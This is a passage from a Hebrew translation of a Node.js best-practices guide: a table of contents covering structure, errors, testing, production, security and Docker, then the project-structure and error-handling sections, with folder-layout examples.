שם](#-35-name-your-functions)</br>\r\n&emsp;&emsp;[3.6 השתמשו במוסכמות קבועות במתן שמות למשתנים, לקבועים, לפונקציות ולמחלקות](#-36-use-naming-conventions-for-variables-constants-functions-and-classes)</br>\r\n&emsp;&emsp;[3.7 העדיפו const על פני let. ניטשו את var](#-37-prefer-const-over-let-ditch-the-var)</br>\r\n&emsp;&emsp;[3.8 טענו מודולים בתחילה, ולא בקריאה לפונקציות](#-38-require-modules-first-not-inside-functions)</br>\r\n&emsp;&emsp;[3.9 הגדירו כניסה מסודרת לספריה שלכם `#updated`](#-39-set-an-explicit-entry-point-to-a-modulefolder)</br>\r\n&emsp;&emsp;[3.10 השתמשו באופרטור `===`](#-310-use-the--operator)</br>\r\n&emsp;&emsp;[3.11 השתמשו ב-Async Await, המנעו מ-callbacks `#strategic`](#-311-use-async-await-avoid-callbacks)</br>\r\n&emsp;&emsp;[3.12 השתמשו בפונקציות חץ (=>)](#-312-use-arrow-function-expressions-)</br>\r\n&emsp;&emsp;[3.13 הימנעו מהשפעות צדדיות מחוץ לפונקציות `#new`](#-313-avoid-effects-outside-of-functions)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#4-testing-and-overall-quality-practices\">4. בדיקות ובקרת איכות (13)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[4.1 לפחות, כיתבו בדיקות API לרכיבים השונים `#strategic`](#-41-at-the-very-least-write-api-component-testing)</br>\r\n&emsp;&emsp;[4.2 סווגו 3 חלקים במתן שם לכל בדיקה `#new`](#-42-include-3-parts-in-each-test-name)</br>\r\n&emsp;&emsp;[4.3 חלקו את הבדיקות לפי תבנית ה-AAA `#strategic`](#-43-structure-tests-by-the-aaa-pattern)</br>\r\n&emsp;&emsp;[4.4 וודאו כי גרסת ה-Node אחידה `#new`](#-44-ensure-node-version-is-unified)</br>\r\n&emsp;&emsp;[4.5 הימנעו מאתחול מידע גרעיני משותף, הגדירו לפי צורך של בדיקה `#strategic`](#-45-avoid-global-test-fixtures-and-seeds-add-data-per-test)</br>\r\n&emsp;&emsp;[4.6 תייגו את הבדיקות `#advanced`](#-46-tag-your-tests)</br>\r\n&emsp;&emsp;[4.7 בידקו את רמת כיסוי הבדיקות שלכם, זה יעזור לזהות דפוסי בדיקות שגויים](#-47-check-your-test-coverage-it-helps-to-identify-wrong-test-patterns)</br>\r\n&emsp;&emsp;[4.8 Use production-like environment for e2e testing](#-48-use-production-like-environment-for-e2e-testing)</br>\r\n&emsp;&emsp;[4.9 שכתבו את הקוד באופן קבוע בעזרת כלי ניתוח סטטי](#-49-refactor-regularly-using-static-analysis-tools)</br>\r\n&emsp;&emsp;[4.10 הדמיית תשובות של שרתי HTTP חיצוניים `#new` `#advanced`](#-410-mock-responses-of-external-http-services)</br>\r\n&emsp;&emsp;[4.11 בדקו את פונקציות הביניים בנפרד](#-411-test-your-middlewares-in-isolation)</br>\r\n&emsp;&emsp;[4.12 קבעו את הפורט בייצור, הגדירו אקראי לבדיקות `#new`](#-412-specify-a-port-in-production-randomize-in-testing)</br>\r\n&emsp;&emsp;[4.13 בידקו את חמשת התוצאות האפשריות `#strategic` `#new`](#-413-test-the-five-possible-outcomes)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#5-going-to-production-practices\">5. עלייה לאוויר (19)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[5.1. ניטור `#strategic`](#-51-monitoring)</br>\r\n&emsp;&emsp;[5.2. הגדילו את יכולת הצפייה בעזרת לוגים איכותיים `#strategic`](#-52-increase-the-observability-using-smart-logging)</br>\r\n&emsp;&emsp;[5.3. האצילו כל מה שאפשר (לדוגמה gzip, SSL) לשירות נפרד `#strategic`](#-53-delegate-anything-possible-eg-gzip-ssl-to-a-reverse-proxy)</br>\r\n&emsp;&emsp;[5.4. קיבוע תלויות](#-54-lock-dependencies)</br>\r\n&emsp;&emsp;[5.5. הבטיחו את זמינות המערכת בעזרת הכלי המתאים](#-55-guard-process-uptime-using-the-right-tool)</br>\r\n&emsp;&emsp;[5.6. השתמשו בכל מעבדי ה-CPU](#-56-utilize-all-cpu-cores)</br>\r\n&emsp;&emsp;[5.7. תיצרו ‘maintenance endpoint’](#-57-create-a-maintenance-endpoint)</br>\r\n&emsp;&emsp;[5.8. גלו את הלא ידוע בעזרת מוצרי APM `#advanced` `#updated`](#-58-discover-the-unknowns-using-apm-products)</br>\r\n&emsp;&emsp;[5.9. כתבו את הקוד מותאם להתקנה](#-59-make-your-code-production-ready)</br>\r\n&emsp;&emsp;[5.10. מדדו ושימרו את ניצול הזיכרון `#advanced`](#-510-measure-and-guard-the-memory-usage)</br>\r\n&emsp;&emsp;[5.11. Get your frontend assets out of Node](#-511-get-your-frontend-assets-out-of-node)</br>\r\n&emsp;&emsp;[5.12. Strive to be stateless `#strategic`](#-512-strive-to-be-stateless)</br>\r\n&emsp;&emsp;[5.13. Use tools that automatically detect vulnerabilities](#-513-use-tools-that-automatically-detect-vulnerabilities)</br>\r\n&emsp;&emsp;[5.14. Assign a transaction id to each log statement `#advanced`](#-514-assign-a-transaction-id-to-each-log-statement)</br>\r\n&emsp;&emsp;[5.15. Set NODE_ENV=production](#-515-set-node_envproduction)</br>\r\n&emsp;&emsp;[5.16. Design automated, atomic and zero-downtime deployments `#advanced`](#-516-design-automated-atomic-and-zero-downtime-deployments)</br>\r\n&emsp;&emsp;[5.17. Use an LTS release of Node.js](#-517-use-an-lts-release-of-nodejs)</br>\r\n&emsp;&emsp;[5.18. Log to stdout, avoid specifying log destination within the app](#-518-log-to-stdout-avoid-specifying-log-destination-within-the-app)</br>\r\n&emsp;&emsp;[5.19. Install your packages with npm ci `#new`](#-519-install-your-packages-with-npm-ci)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#6-security-best-practices\">6. אבטחה (27)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[6.1. Embrace linter security rules](#-61-embrace-linter-security-rules)</br>\r\n&emsp;&emsp;[6.2. Limit concurrent requests using a middleware](#-62-limit-concurrent-requests-using-a-middleware)</br>\r\n&emsp;&emsp;[6.3 Extract secrets from config files or use packages to encrypt them `#strategic`](#-63-extract-secrets-from-config-files-or-use-packages-to-encrypt-them)</br>\r\n&emsp;&emsp;[6.4. Prevent query injection vulnerabilities with ORM/ODM libraries `#strategic`](#-64-prevent-query-injection-vulnerabilities-with-ormodm-libraries)</br>\r\n&emsp;&emsp;[6.5. Collection of generic security best practices](#-65-collection-of-generic-security-best-practices)</br>\r\n&emsp;&emsp;[6.6. Adjust the HTTP response headers for enhanced security](#-66-adjust-the-http-response-headers-for-enhanced-security)</br>\r\n&emsp;&emsp;[6.7. Constantly and automatically inspect for vulnerable dependencies `#strategic`](#-67-constantly-and-automatically-inspect-for-vulnerable-dependencies)</br>\r\n&emsp;&emsp;[6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt `#strategic`](#-68-protect-users-passwordssecrets-using-bcrypt-or-scrypt)</br>\r\n&emsp;&emsp;[6.9. Escape HTML, JS and CSS output](#-69-escape-html-js-and-css-output)</br>\r\n&emsp;&emsp;[6.10. Validate incoming JSON schemas `#strategic`](#-610-validate-incoming-json-schemas)</br>\r\n&emsp;&emsp;[6.11. Support blocklisting JWTs](#-611-support-blocklisting-jwts)</br>\r\n&emsp;&emsp;[6.12. Prevent brute-force attacks against authorization `#advanced`](#-612-prevent-brute-force-attacks-against-authorization)</br>\r\n&emsp;&emsp;[6.13. Run Node.js as non-root user](#-613-run-nodejs-as-non-root-user)</br>\r\n&emsp;&emsp;[6.14. Limit payload size using a reverse-proxy or a middleware](#-614-limit-payload-size-using-a-reverse-proxy-or-a-middleware)</br>\r\n&emsp;&emsp;[6.15. Avoid JavaScript eval statements](#-615-avoid-javascript-eval-statements)</br>\r\n&emsp;&emsp;[6.16. Prevent evil RegEx from overloading your single thread execution](#-616-prevent-evil-regex-from-overloading-your-single-thread-execution)</br>\r\n&emsp;&emsp;[6.17. Avoid module loading using a variable](#-617-avoid-module-loading-using-a-variable)</br>\r\n&emsp;&emsp;[6.18. Run unsafe code in a sandbox](#-618-run-unsafe-code-in-a-sandbox)</br>\r\n&emsp;&emsp;[6.19. Take extra care when working with child processes `#advanced`](#-619-take-extra-care-when-working-with-child-processes)</br>\r\n&emsp;&emsp;[6.20. Hide error details from clients](#-620-hide-error-details-from-clients)</br>\r\n&emsp;&emsp;[6.21. Configure 2FA for npm or Yarn `#strategic`](#-621-configure-2fa-for-npm-or-yarn)</br>\r\n&emsp;&emsp;[6.22. Modify session middleware settings](#-622-modify-session-middleware-settings)</br>\r\n&emsp;&emsp;[6.23. Avoid DOS attacks by explicitly setting when a process should crash `#advanced`](#-623-avoid-dos-attacks-by-explicitly-setting-when-a-process-should-crash)</br>\r\n&emsp;&emsp;[6.24. Prevent unsafe redirects](#-624-prevent-unsafe-redirects)</br>\r\n&emsp;&emsp;[6.25. Avoid publishing secrets to the npm registry](#-625-avoid-publishing-secrets-to-the-npm-registry)</br>\r\n&emsp;&emsp;[6.26. 6.26 Inspect for outdated packages](#-626-inspect-for-outdated-packages)</br>\r\n&emsp;&emsp;[6.27. Import built-in modules using the 'node:' protocol `#new`](#-627-import-built-in-modules-using-the-node-protocol)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#7-draft-performance-best-practices\">7. ביצועים (2) (בתהליך ✍️)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[7.1. Don't block the event loop](#-71-dont-block-the-event-loop)</br>\r\n&emsp;&emsp;[7.2. Prefer native JS methods over user-land utils like Lodash](#-72-prefer-native-js-methods-over-user-land-utils-like-lodash)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#8-docker-best-practices\">8. דוקר (15)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[8.1 Use multi-stage builds for leaner and more secure Docker images `#strategic`](#-81-use-multi-stage-builds-for-leaner-and-more-secure-docker-images)</br>\r\n&emsp;&emsp;[8.2. Bootstrap using node command, avoid npm start](#-82-bootstrap-using-node-command-avoid-npm-start)</br>\r\n&emsp;&emsp;[8.3. Let the Docker runtime handle replication and uptime `#strategic`](#-83-let-the-docker-runtime-handle-replication-and-uptime)</br>\r\n&emsp;&emsp;[8.4. Use .dockerignore to prevent leaking secrets](#-84-use-dockerignore-to-prevent-leaking-secrets)</br>\r\n&emsp;&emsp;[8.5. Clean-up dependencies before production](#-85-clean-up-dependencies-before-production)</br>\r\n&emsp;&emsp;[8.6. Shutdown smartly and gracefully `#advanced`](#-86-shutdown-smartly-and-gracefully)</br>\r\n&emsp;&emsp;[8.7. Set memory limits using both Docker and v8 `#advanced` `#strategic`](#-87-set-memory-limits-using-both-docker-and-v8)</br>\r\n&emsp;&emsp;[8.8. Plan for efficient caching](#-88-plan-for-efficient-caching)</br>\r\n&emsp;&emsp;[8.9. Use explicit image reference, avoid latest tag](#-89-use-explicit-image-reference-avoid-latest-tag)</br>\r\n&emsp;&emsp;[8.10. Prefer smaller Docker base images](#-810-prefer-smaller-docker-base-images)</br>\r\n&emsp;&emsp;[8.11. Clean-out build-time secrets, avoid secrets in args `#strategic #new`](#-811-clean-out-build-time-secrets-avoid-secrets-in-args)</br>\r\n&emsp;&emsp;[8.12. Scan images for multi layers of vulnerabilities `#advanced`](#-812-scan-images-for-multi-layers-of-vulnerabilities)</br>\r\n&emsp;&emsp;[8.13 Clean NODE_MODULE cache](#-813-clean-node_module-cache)</br>\r\n&emsp;&emsp;[8.14. Generic Docker practices](#-814-generic-docker-practices)</br>\r\n&emsp;&emsp;[8.15. Lint your Dockerfile `#new`](#-815-lint-your-dockerfile)</br>\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n# `1. מבנה הפרוייקט`\r\n\r\n## ![✔] 1.1 בנו את הפרוייקט לפי רכיבים עסקיים\r\n\r\n**אמ;לק:** בסיס המערכת צריך לכלול תיקיות או מאגרים שמייצג בצורה הגיונית את המידול העסקי. כל רכיב מייצג תחום מוצר (כלומר הקשר מוגבל), למשל 'משתמשים', 'הזמנות', וכולי... כל רכיב מכיל את ה API, לוגיקה ומסד הנתונים שלו. מה המטרה של זה? כאשר יש סביבה עצמאית כל שינוי משפיע אך ורק על החלק הרלוונטי - העומס הנפשי, סיבוכיות הפיתוח והחשש מפריסה חדשה של הרכיב הרבה יותר קטן. כתוצאה מכך, מתכנתים יכולים לפתח הרבה יותר מהר. זה לא דורש בהכרח הפרדה פיזית ויכול להיות מושג גם בMonorepo או multi-repo.\r\n\r\n```bash\r\nmy-system\r\n├─ apps (components)\r\n│  ├─ orders\r\n│  ├─ users\r\n│  ├─ payments\r\n├─ libraries (generic cross-component functionality)\r\n│  ├─ logger\r\n│  ├─ authenticator\r\n```\r\n\r\n**אחרת:** כאשר מוצרים של מודולים או נושאים שונים מעורבבים יחד, ישנו סיכוי גבוה שתיווצר מערכת ספגטי בעלת צימוד גבוה. לדוגמה, בארכיטקטורה שבה 'מודול א`' קורא לשירות מ'מודול ב;', אין הפרדה ברורהבין המודולים השונים - כל שינוי בקוד עלול להשפיע על משהו אחר. עם הגישה הזאת , מתכנתים שצריכים להוסיף מוצר חדש למערכת יאבקו בה בהבנה על מה השינוי שלהם יכול להשפיע. כתוצאה מכך, הם חששו לשבור מודולים אחרים, וכל פריסה נהייתה איטית יותר ומסוכנת יותר.\r\n\r\n🔗 [**לקריאה נוספת: בנייה לפי רכיבים**](./sections/projectstructre/breakintcomponents.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 1.2 חלוקת הרכיבים ל3 שכבות, שמירה על שכבת הווב בגבולותיה\r\n\r\n**אמ;לק:** כל רכיב צריך לכלול 'שכבות' - תיקייה יעודית עם אחריות משותפת: 'entry-point' איפה שחלקי השליטה נמצאים, 'domain' איפה שהלוגיקה נמצאת ו 'data-access'. העיקרון המנחה של הארכיטקטורות המובילות בשוק הוא להפריד את האחריות הטכנית (למשל: HTTP, DB ועוד) מהלוגיקה היעודית של המוצר כך שהמתכנתים יוכלו לקודד יותר תכולות בלי לדאוג לגבי ניהול תשתיות. השמה של כל שכבה בתיקייה יעודית, שידועה גם כ-[מודל 3 השכבות](https://he.wikipedia.org/wiki/%D7%90%D7%A8%D7%9B%D7%99%D7%98%D7%A7%D7%98%D7%95%D7%A8%D7%94_%D7%A8%D7%91-%D7%A9%D7%9B%D7%91%D7%AA%D7%99%D7%AA#%D7%90%D7%A8%D7%9B%D7%99%D7%98%D7%A7%D7%98%D7%95%D7%A8%D7%AA_%D7%A9%D7%9C%D7%95%D7%A9_%D7%A9%D7%9B%D7%91%D7%95%D7%AA) ([באנגלית](https://en.wikipedia.org/wiki/Multitier_architecture#Three-tier_architecture)) זאת הדרך _הפשוטה_ להשיג את המטרה.\r\n\r\n```bash\r\nmy-system\r\n├─ apps (components)\r\n│  ├─ component-a\r\n   │  ├─ entry-points\r\n   │  │  ├─ api # controller comes here\r\n   │  │  ├─ message-queue # message consumer comes here\r\n   │  ├─ domain # features and flows: DTO, services, logic\r\n   │  ├─ data-access # DB calls w/o ORM\r\n```\r\n\r\n**אחרת:** לעתים דחופות נתקלים בכך שהמתכנתים מעבירים אובייקטי תקשורת כדוגמת request/reqponse לפונקציות בשכבות של הלוגיקה או ניהול המידע - דבר זה פוגע בעיקרון ההפרדה וגורם לכך שבעתיד יהיה קשה יותר להנגיש את הלוגיקה לסוגי קלינטים אחרים כדוגמת: בדיקות יחידה, משימות מתוזמנות וmessage queues.\r\n\r\n🔗 [**לקריאה נוספת: חלק את המוצר לשכבות**](./sections/projectstructre/createlayers.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 1.3 עטפו כלים משותפים בחבילות, שקלו את הפצתם\r\n\r\n**אמ;לק:** מקמו את כל הכלים שאפשר לשתף אותם בתיקייה ייעודית, למשל 'libraries' וכל כלי בתיקייה פנימית נפרדת, למשל '/libraries/logger'. הפכו את הכלי לחבילה בלתי תלויה עם קובץ ה package.json שלו וזאת כדי להגדיל את הכימוס (encapsulation), ואפשרו הפצה עתידית למאגר. כאשר הפרוייקט שלכם בנוי בתצורת monorepo, כלים אלו יכולים להיות מוגדרים על ידי שימוש ב 'npm linking' לכתובת הפיזית שלהם על ידי שימוש ב ts-paths או על ידי הפצה והתקנה על ידימנהל חבילות כדוגמת 'npm registry'.\r\n\r\n```bash\r\nmy-system\r\n├─ apps (components)\r\n  │  ├─ component-a\r\n├─ libraries (generic cross-component functionality)\r\n│  ├─ logger\r\n│  │  ├─ package.json\r\n│  │  ├─ src\r\n│  │  │ ├─ index.js\r\n\r\n```\r\n\r\n**אחרת:** צרכנים של כלי יהיו צמודים לפונקציונליות הפנימית שלו. על ידי הגדרה של package.json בשורש הכלי מישהו יכול להגדיר קובץ package.json.main או package.json.exports כדי להצהיר במפורש אילו קבצים ופונקציולניות היא חלק מהחלקים הנגישים של הכלי.\r\n\r\n🔗 [**לקריאה נוספת: בנייה לפי תכונה**](./sections/projectstructre/wraputilities.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 1.4 השתמשו בקונפיגורציה עם משתני סביבה באופן מודע, מאובטח והיררכי\r\n\r\n**אמ;לק:** הגדרת סביבה מושלמת צריכה להבטיח כי (א) שמות משתנים יכולים להיקרא מקבצים כמו גם ממשתני סביבה (ב) סודות נשמרים מחוץ לקוד ששייך למאגר (ג) הקונפיגורציה היא היררכית לצורך חיפוש קל יותר (ד) תמיכה בסוגים שונים של משתנים (ה) וידוא מוקדם של משתנים לא תקינים (ו) הגדרת ברירת מחדל לכל שדה. ישנן מספר ספריות שעונות על רוב הדרישות הללו כמו [convict](https://www.npmjs.com/package/convict), [env-var](env-var), [zod](https://github.com/colinhacks/zod), ועוד...\r\n\r\n**אחרת:** נניח וישנו משתנה סביבה הכרחי שלא הוגדר, המערכת תתחיל לרוץ בהצלחה, תענה לבקשות, חלק מהמידע יעודכן במסד הנתונים, ולפתע יהיה חסר לה שדה הכרחי להמשך התהליך ושבלעדיו היא לא יכולה לסיים את הפעולה, מה שייצור מערכת במצב \"מלוכלך\".\r\n\r\n🔗 [**לקריאה נוספת: שיטות עבודה של קונפיגורציה**](./sections/projectstructre/configguide.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 1.5 שקלו את כל ההשלכות בעת בחירת <abbr title=\"framework\">מסגרת</abbr>\r\n\r\n**אמ;לק:** כאשר בונים אפליקציות ו API-ים, שימוש בפריימוורק הוא חובה. קל להתעלם מהאפשרויות השונות שקיימות ומשיקולים חשובים ובסופו של דבר להשתמש באפשרות שפחות תואמת לדרישות של המוצר. נכון ל2023/2024 אנו מאמינים כי ארבעת הפריימוורקים הללו הם הכדאיים ביותר להשוואה: [Nest.js](https://nestjs.com/), [Fastify](https://www.fastify.io/), [express](https://expressjs.com/), ו [Koa](https://koajs.com/). לחצו על לקריאה נוספת בהמשך כדי לקרוא פרטים נוספים בעד ונגד כל אחת מהאפשרויות.  באופן פשטני, אנו מאמינים כי Node.js זאת ההתאמה הכי טובה לצוותים שרוצים לעבוד בשיטת OOP או לבנות מוצרים שמיועדים לגדול בצורה ניכרת ואי אפשר לחלק אותם לרכיבים קטנים _ועצמאיים_. ההמלצה שלנו היא Fastify עבור מערכות בגודל סבירents (כמו Microservices) שמושתתים על עקרונות פשוטים של Node.js.\r\n\r\n**אחרת:** בשל הכמות העצומה של השיקולים, קל לקבל החלטה על בסיס מידע חלקי ולהשוות תפוחים לתפוזים. למשל, ישנה הנחה רווחת שFastify הוא web-server מינימלי שראוי להשוות לexpress בלבד. בפועל, זהו פריימוורק עשיר עם הרבה הרחבות רשמיות שמכסות הרבה צרכים.\r\n\r\n🔗 [**לקריאה נוספת: בחירת הפריימוורק הנכון**](./sections/projectstructre/choose-framework.md)\r\n\r\n## ![✔] 1.6 השתמשו ב-TypeScript במידתיות ובצורה מושכלת\r\n\r\n**אמ;לק:** קידוד ללא מקדמי בטיחות של סיווג משתנים הוא כבר לא אפשרות בת קיימא, TypeScript מהווה את האפשרות הפופולרית ביותר למשימה זו. משתמשים בה להגדרת סוגי משתנים וערכי החזרה של פונקציות. עם זאת, זוהי חרב פיפיות שיכולה בקלות ליצור מורכבות בשל בסביבות 50 מילות מפתח נוספות שיש לה ותכונות מתוחכמות שצריך לדעת להשתמש בהן. שימוש בה צריך להיעשות במידה, בעדיפות להגדרות פשוטות של משתנים, ושימוש ביכולות מתקדמות רק כאשר צורך הכרחי מופיע.\r\n\r\n**אחרת:** [מחקרים](https://earlbarr.com/publications/typestudy.pdf) מראים כי שימוש ב-TypeScript יכול לעזור בזיהוי כ20% מהבאגים בשלבים מוקדמים יותר. ללא TypeScript חווית הפיתוח ב IDE נהיית בלתי נסבלת. מהצד השני, 80% מהבאגים היא לא עוזרת לזהות. כתוצאה מכך, שימוש בTypeScript מוסיף ערך מוגבל. רק הוספה של בדיקות איכותיות יכולה לעזור לזהות את מגוון הבאגים הרחב, כולל כאלו שנגרמים מאפיון לא תקין של סוג המשתנה. שימוש לא טוב גם עלול להרוג את המטרה, תכונות מורכבות של קוד מעלות אתמורכבות הקוד מה שבאופן ישיר מעלה את מספר הבאגים וזמן התיקון של כל באג.\r\n\r\n🔗 [**לקריאה נוספת: שיקולים לשימוש ב-TypeScript**](./sections/projectstructre/typescript-considerations.md)\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `2. ניהול שגיאות`\r\n\r\n## ![✔] 2.1 השתמשו ב Async-Await או <abbr title=\"promises\">הבטחות</abbr> לניהול שגיאות אסינכרוניות\r\n\r\n**אמ;לק:** ניהול שגיאות אסינכרוניות על ידי שימוש ב-callbacks זו הדרך המהירה לגהינום (הידועה בשם [פירמידת דום](https://en.wikipedia.org/wiki/Pyramid_of_doom_(programming))). המתנה הטובה ביותר שאפשר לתת לקוד הוא שימוש ב-promises בסגנון async-await דבר שמאפשר קוד הרבה יותר נקי ומסודר וסינטקס דומה ל try-catch.\r\n\r\n**אחרת:** סגנון הכתיבה `function(err, response)` הכולל שימוש ב-callbacks של Node.js, סולל דרך בטוחה לקוד שאי אפשר לתחזק בשל הערבוב בין ניהול שגיאות לניהול התהליך התקני של המערכת, עם קינון מוגזם וסגנון קוד מוזר.\r\n\r\n🔗 [**לקריאה נוספת: הימנעות מ-callbacks**](./sections/errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.2 הרחיבו את מבנה אוביקט השגיאה המובנה `Error`\r\n\r\n**אמ;לק:** ישנן ספריות שזורקות שגיאה כמחרוזת או כאובייקט פרי מחשבת כותבי הקוד של הספריה - דבר שיוצר מורכבות בניהול השגיאות וביצירת מכנה משותף בין מודולים שונים. במקום זאת, השקיעו ביצירת אובייקט או מחלקת (class) שגיאה שיורשת מאובייקט השגיאה המובנה של השפה והשתמשו בזה בכל פעם שצריך לדחות את המצב, לזרוק שגיאה או להפיץ שגיאה. השגיאה האפליקטיבית צריכה להוסיף שדות נוספים כדוגמת שם השגיאה ורמת החומרה שלה. על ידי כך, לכל השגיאות ישנו מבנה אחיד והן מאפשרות תמיכה טובה יותר בניהול שגיאות. ישנו כלל של `no-throw-literal` ESLint שבודק בצורה מיטבית את השימוש הזה (על אף שיש לזה קצת [מגבלות](https://eslint.org/docs/rules/no-throw-literal) שיכולות להסתדר על ידי שימוש ב-TypeScript והגדרת החוק `@typescript-eslint/no-throw-literal`)\r\n\r\n**אחרת:** כאשר מפעילים רכיב כלשהו, אם ישנה אי וודאות איזה סוג של שגיאה יגיע - זה גורם לכך שניהול השגיאות יהיה הרבה יותר מורכב. גרוע מכך, שימוש באובייקטים מומצאים לתיאור שגיאות עלול להוביל לאיבוד של שגיאות קריטיות בעלות מידע חשוב כמו מעקב אחר מקור השגיאה!\r\n\r\n🔗 [**לקריאה נוספת: שימוש באובייקט השגיאה המובנה**](./sections/errorhandling/useonlythebuiltinerror.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.3 הבחינו בין שגיאות קטסטרופליות לבין שגיאות תפעוליות\r\n\r\n**אמ;לק:** שגיאות תפעוליות (למשל קלט לא תקין בפנייה ל-API) מתייחסות למקרים ידועים בהם ההשפעה של השגיאה מובנת לחלוטין ויכולה להיות מנוהלת בצורה מחושבת. מצד שני, שגיאות קטסטרופליות (ידועות גם כשגיאות תכנות) מתייחסות לשגיאות לא צפויות במערכת שדורשות אתחול בטוח שלה.\r\n\r\n**אחרת:** אתם עלולים לאתחל את המערכת בעקבות כל שגיאה. אבל למה לגרום לכ-5000 משתמשים לחוות התנתקות בגלל שגיאה תפעולית צפויה ושולית? ההיפך הוא גם לא אידיאלי - להשאיר את המערכת עובדת כאשר קטסטרופה לא צפויה קרתה בה והיא עלולה לגרור התנהגות בלתי צפויה. הבדלה בין שני המקרים מאפשרת התמודדות מושכלת ומאוזנת בהתאם להקשר.\r\n\r\n🔗 [**לקריאה נוספת: שגיאות תפעוליות מול שגיאות תכנות**](./sections/errorhandling/operationalvsprogrammererror.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.4 נהלו את השגיאות במרוכז ולא באמצעות <abbr title=\"muddlewares\">כלי ביניים</abbr>\r\n\r\n**אמ;לק:** מימוש הניהול של השגיאות כמו למשל תעוד השגיאה, החלטה אם לקרוס ואילו מדדים לנטר צריך להיות מרוכז במקום אחד שכל הכניסות למערכת (למשל APIs, cron jobs, scheduled jobs) משתמשות בו כאשר חלה בהן שגיאה.\r\n\r\n**אחרת:** אם לא מנהלים את השגיאות במקום אחד אז במהרה יהיה שכפול קוד וכנראה ניהול לא תקין של חלק מהשגיאות.\r\n\r\n🔗 [**לקריאה נוספת: ניהול השגיאות במקום מרוכז**](./sections/errorhandling/centralizedhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.5 תעדו את שגיאות ה-API באמצעות OpenAPI או GraphQL\r\n\r\n**אמ;לק:** אפשרו למשתמשי ה-API שלכם לדעת אילו שגיאות עלולות להגיע כתשובה, כך שהם יוכלו להתמודד איתן בצורה מושכלת במקום לקרוס. ל-API מבוסס REST זה נעשה בדרך כלל באמצעות כלי תעוד כמו OpenAPI. אם אתם משתמשים ב-GraphQL, אתם יכולים להשתמש בסכמה ובהערות בשביל להשיג את המטרה.\r\n\r\n**אחרת:** מי שמשתמש ב-API שלנו עלול להחליט לגרום למערכת שלו לקרוס ולאתחל את עצמה רק בגלל שהוא קיבל שגיאה שהוא לא הצליח להבין. שימו לב: המשתמש של ה-API שלכם יכול להיות אתם (מה שקורה הרבה כשמשתמשים במיקרוסרוויסים).\r\n\r\n🔗 [**לקריאה נוספת: תיעוד שגיאות ה-API באמצעות OpenAPI או GraphQL**](./sections/errorhandling/documentingusingswagger.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.6 הורידו את התהליך בצורה מסודרת כאשר זר בא לבקר\r\n\r\n**אמ;לק:** כאשר שגיאה לא ידועה חלה (שגיאה קטסטרופלית, ראו תובנה 2.3) - ישנה חוסר ודאות לגבי הבריאות והיציבות של המערכת. במקרה כזה, אין דרך לברוח מלגרום לשגיאה להיות ברת צפייה, סגירת חיבוריות לרכיבים נוספים והורדה של התהליך. כל סביבת ריצה מהימנה כדוגמת שירותי Docker או שירותי ענן שמספקים פתרונות ללא שרת (serverless) יוודאו שהתהליך יעלה מחדש עבורכם.\r\n\r\n**אחרת:** כאשר שגיאה לא צפויה קורית, רכיב כלשהו עלול להיות במצב לא תקין (למשל event emitter גלובאלי שמפסיק להפיץ אירועים בשל כשלון פנימי) והחל מעכשיו שאר הבקשות שמשתמשות ברכיב זה עלולות להיכשל או להתנהג באופן ממש לא צפוי.\r\n\r\n🔗 [**לקריאה נוספת: הורדת התהליך**](./sections/errorhandling/shuttingtheprocess.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.7 השתמשו ב-Logger מוכר ואמין כדי להגדיל את הקְרִיאוּת של השגיאות\r\n\r\n**אמ;לק:** כלי לוגים איכותי כדוגמת [Pino](https://github.com/pinojs/pino) או [Winston](https://github.com/winstonjs/winston) מגדיל את הקריאות וההבנה של הלוגים על ידי שימוש ברמת חומרה, עימוד, עיצוב, צבעים ועוד. ל-`console.log` אין את היכולות הללו וראוי להימנע משימוש בו. העיפרון החד ביותר בתחום מאפשר הוספה של שדות שימושיים נוספים ללא תקורה גבוהה של ביצועים. מפתחים צריכים לכתוב את הלוגים ל-`stdout` ולתת לתשתית להעביר את המידע לכלי המתאים עבור כל מקרה.\r\n\r\n**אחרת:** רפרוף על שורות console.log או בצורה ידנית על קבצי טקסט עמוסים לעייפה ללא כלי חיפוש ותצוגה מותאמים עלולים להשאיר אתכם לעבוד עד השעות הקטנות של הלילה.\r\n\r\n🔗 [**לקריאה נוספת: שימוש ב-Logger אמין**](./sections/errorhandling/usematurelogger.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.8 בידקו את תגובת המערכת לשגיאות על ידי שימוש בכלי הבדיקות האהוב עליכם\r\n\r\n**אמ;לק:** בין אם יש לכם כלי QA אוטומטי ומקצועי ובין אם אחד המפתחים מבצע את הבדיקות - ודאו כי לא רק המסלול הבטוח של הקוד מכוסה, אלא גם ניהול השגיאות ושחוזרות השגיאות שאמורות לחזור במקרה של תקלה. נוסף על כך, בידקו מקרים מורכבים יותר של שגיאות, כמו למשל שגיאות בלתי צפויות, כדי לוודא שהרכיב שמטפל בשגיאות מבצע זאת כראוי (ראו דוגמאות קוד בקישור \"לקריאה נוספת\")\r\n\r\n**אחרת:** ללא בדיקות כלל, לא ידניות ולא 